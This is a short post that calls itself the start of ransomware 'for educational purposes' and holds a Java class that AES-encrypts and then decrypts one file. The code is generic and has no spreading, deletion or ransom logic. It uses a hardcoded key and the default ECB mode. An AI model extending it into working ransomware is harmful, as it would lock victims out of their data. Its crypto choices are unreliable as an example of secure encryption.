beginning of some ransomware I'm making (For educational purposes) 


import javax.crypto.Cipher;
import javax.crypto.CipherOutputStream;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;

public class FileEncryption {

    public static void main(String[] args) {
        String inputFile = "input.txt"; // Input file to be encrypted
        String encryptedFile = "encrypted.txt"; // Encrypted file
        String decryptedFile = "decrypted.txt"; // Decrypted file
        String key = "ThisIsASecretKey"; // Encryption key (16 characters for AES-128)

        try {
            // Encrypt the file
            encrypt(inputFile, encryptedFile, key);

            // Decrypt the file
            decrypt(encryptedFile, decryptedFile, key);

            System.out.println("File encryption and decryption completed successfully.");
        } catch (Exception e) {
            System.out.println("Error: " + e.getMessage());
        }
    }

    // Method to encrypt a file
    public static void encrypt(String inputFile, String outputFile, String key) throws Exception {
        FileInputStream fis = new FileInputStream(inputFile);
        FileOutputStream fos = new FileOutputStream(outputFile);
        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);

        CipherOutputStream cos = new CipherOutputStream(fos, cipher);

        byte[] buffer = new byte[1024];
        int bytesRead;
        while ((bytesRead = fis.read(buffer)) != -1) {
            cos.write(buffer, 0, bytesRead);
        }
        cos.close();
        fos.close();
        fis.close();
    }

    // Method to decrypt a file
    public static void decrypt(String inputFile, String outputFile, String key) throws Exception {
        FileInputStream fis = new FileInputStream(inputFile);
        FileOutputStream fos = new FileOutputStream(outputFile);
        SecretKeySpec secretKey = new SecretKeySpec(key.getBytes(), "AES");
        Cipher cipher = Cipher.getInstance("AES");
        cipher.init(Cipher.DECRYPT_MODE, secretKey);

        CipherOutputStream cos = new CipherOutputStream(fos, cipher);

        byte[] buffer = new byte[1024];
        int bytesRead;
        while ((bytesRead = fis.read(buffer)) != -1) {
            cos.write(buffer, 0, bytesRead);
        }
        cos.close();
        fos.close();
        fis.close();
    }
}